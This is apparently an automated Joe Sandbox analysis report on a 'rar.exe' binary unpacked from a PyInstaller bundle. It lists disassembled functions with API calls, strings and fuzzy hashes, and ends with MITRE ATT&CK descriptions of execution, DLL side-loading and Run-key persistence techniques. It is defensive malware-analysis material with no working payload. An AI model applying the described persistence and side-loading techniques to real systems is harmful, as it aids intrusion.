Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction ID: 1b990cf47a02fa7368ba82500f8ca81d0fc27ac8249d88e156e82c5955419b2f
Opcode Fuzzy Hash: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction Fuzzy Hash: 51715172D0A751E6E76A8F28804123C37E1FB45F48F2411B7EA4AC6294DF39DE82C795

Function 00007FF6AA1E5CD4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E5D17

Strings

gfff, xrefs: 00007FF6AA1E5E42
e+000, xrefs: 00007FF6AA1E5DBF

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction ID: 82283e2babb1ec86d409a5201078fcab7709b3e0db6bf35e701b0224b68a00bd
Opcode Fuzzy Hash: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction Fuzzy Hash: B4510862B197C196E7368B359941379BB92EB42BA4F088276C69CC7FD5CE2CD846C700

Function 00007FF6AA1B4534 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,00000800,?,?,00000000,00007FF6AA1A475B,?,00000000,?,?,00007FF6AA1A4620,?,00000000,?), ref: 00007FF6AA1B4633

Strings

UNC, xrefs: 00007FF6AA1B4614
\\?\, xrefs: 00007FF6AA1B45B6, 00007FF6AA1B4602, 00007FF6AA1B4684, 00007FF6AA1B46D3

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction ID: 53739d8903b5bf0a72da6545b8bf4b1ad8cac97e3f7ad02d190cb98e98609c60
Opcode Fuzzy Hash: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction Fuzzy Hash: B6419011B0A682E0EA27AB51E5011B92392AF45BD4F81C6B3DD9DC77D7EE2CED47C600

Function 00007FF6AA1E3B0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E3B36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6AA1DB066), ref: 00007FF6AA1E3B57

Strings

C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe, xrefs: 00007FF6AA1E3B45

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe
API String ID: 3307058713-2419423084
Opcode ID: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction ID: 7562150a0d87b2a8ca5666a5e5873174533cb0a6a1d719f0b99d8ce2933f35cc
Opcode Fuzzy Hash: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction Fuzzy Hash: CE41D232A0A652E9E726DF21D9400B86794EF46BC4B0840B7E90E87F45DF3DE8929300

Function 00007FF6AA1C7C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00007FF6AA1C7471), ref: 00007FF6AA1C7C96
wcsstr.LIBVCRUNTIME ref: 00007FF6AA1C7CBC

Strings

System Volume Information\, xrefs: 00007FF6AA1C7CB2

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AttributesFilewcsstr
String ID: System Volume Information\
API String ID: 1592324571-4227249723
Opcode ID: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction ID: 5c92eb690b957559797dd805357fe383601a27878ecf4a3a41c4692035915647
Opcode Fuzzy Hash: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction Fuzzy Hash: A431B221A1B682E5EB56DF21A1506BE67A0AF45BC0F4440B2EE8D87796DE7CF8438700

Function 00007FF6AA194888 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1948F8

Part of subcall function 00007FF6AA1C49F4: LoadStringW.USER32 ref: 00007FF6AA1C4A7B
Part of subcall function 00007FF6AA1C49F4: LoadStringW.USER32 ref: 00007FF6AA1C4A94

Part of subcall function 00007FF6AA198444: fflush.LIBCMT ref: 00007FF6AA198477

Strings

[, xrefs: 00007FF6AA1948E5
%d.%02d, xrefs: 00007FF6AA1948DE

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: LoadString$fflushswprintf
String ID: %d.%02d$[
API String ID: 1946543793-195111373
Opcode ID: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction ID: 2b98494bc62aa2521ff08ae934bb4bdfb1a346876231d9ec32ef9a98342f18da
Opcode Fuzzy Hash: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction Fuzzy Hash: 03316121B0F5C2E1FA62EB24E1153BD6791AF48784F8440BBD64D8B6C6DF2CE946C740

Function 00007FF6AA1C3C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1C3CB0

Strings

$%s, xrefs: 00007FF6AA1C3C9D
@%s, xrefs: 00007FF6AA1C3C94

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: snprintf
String ID: $%s$@%s
API String ID: 4288800496-834177443
Opcode ID: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction ID: a565259f5ee0a2887f4622c3ce2fe9ebe51345ff66eed297b8663607512a3971
Opcode Fuzzy Hash: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction Fuzzy Hash: 9B31B122B0AA82E5EA128F55E4507BE6360FB457C4F800077DE4D97B99DE3CE917D700

Function 00007FF6AA1BF474 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1BF4D2

Strings

fixed%u., xrefs: 00007FF6AA1BF4C6
fixed., xrefs: 00007FF6AA1BF4B8

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: swprintf
String ID: fixed%u.$fixed.
API String ID: 233258989-2525383582
Opcode ID: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction ID: 9642bb995ca456c3b4cc0c1f4a4a816cf9b9ea9431a2979a1d5332e644db5701
Opcode Fuzzy Hash: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction Fuzzy Hash: CA31D522A09681E2EB12DB25E5013E963A0FB44790F904273EA9D9779ADF3CE907C740

Function 00007FF6AA1C49F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6AA1C4A7B
LoadStringW.USER32 ref: 00007FF6AA1C4A94

Strings

Adding %-58s , xrefs: 00007FF6AA1C4A16

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: LoadString
String ID: Adding %-58s
API String ID: 2948472770-2059140559
Opcode ID: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction ID: da4c0d2f4784e7ff996199c4c23743cf48eebb90ba99992fda09938daac68daa
Opcode Fuzzy Hash: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction Fuzzy Hash: C1114975B1AA81C5E6119F16E944179B7A1FB98FC0B58847ACE0DC3328EE3CEA538244

Function 00007FF6AA185DB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA185E1B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA185E2F

Strings

;%%0%du, xrefs: 00007FF6AA185E0A

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
API String ID: 233258989-2249936285
Opcode ID: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction ID: fc86e5d9fee055a7112224516638544dc3176142e1c6746644eec49e65344079
Opcode Fuzzy Hash: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction Fuzzy Hash: 28118622A09680D6E7229B24E4113E97761FB88B58F894172DF4D87659DE3CED46CB40

Function 00007FF6AA1A331C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1B42CC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1B430F

GetVolumeInformationW.KERNEL32(?,00007FF6AA1A0BED,?,?,00000000,?,?,00007FF6AA19F30F,00000000,00007FF6AA186380,?,00007FF6AA182EC8), ref: 00007FF6AA1A337E

Strings

FAT, xrefs: 00007FF6AA1A3388
FAT32, xrefs: 00007FF6AA1A339D

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: InformationVolumeswprintf
String ID: FAT$FAT32
API String ID: 989755765-1174603449
Opcode ID: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction ID: e3872978e12015d583b302082d2836d56257ee0059ed6bf2eb4d0b9e30bb34a9
Opcode Fuzzy Hash: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction Fuzzy Hash: D9118231B1DA82D1EB618B10E8913EA7395FF85344F805072E58DC3A95DF3CE91ACB04

Function 00007FF6AA1CB974 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6AA1CB97B
GetLastError.KERNEL32 ref: 00007FF6AA1CB986

Part of subcall function 00007FF6AA19CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA19CEDE

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6AA1CB990

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorExceptionLastObjectSingleThrowWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 564652978-2248577382
Opcode ID: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction ID: aedb1132c86be5c24486aafd513767af16e397eb9c3a303049633fda919e43d1
Opcode Fuzzy Hash: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction Fuzzy Hash: C4E04F21E0A842E2E642A725AD810B83361EF60774FD403B3D43EC21E5AF2CAD47C311

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
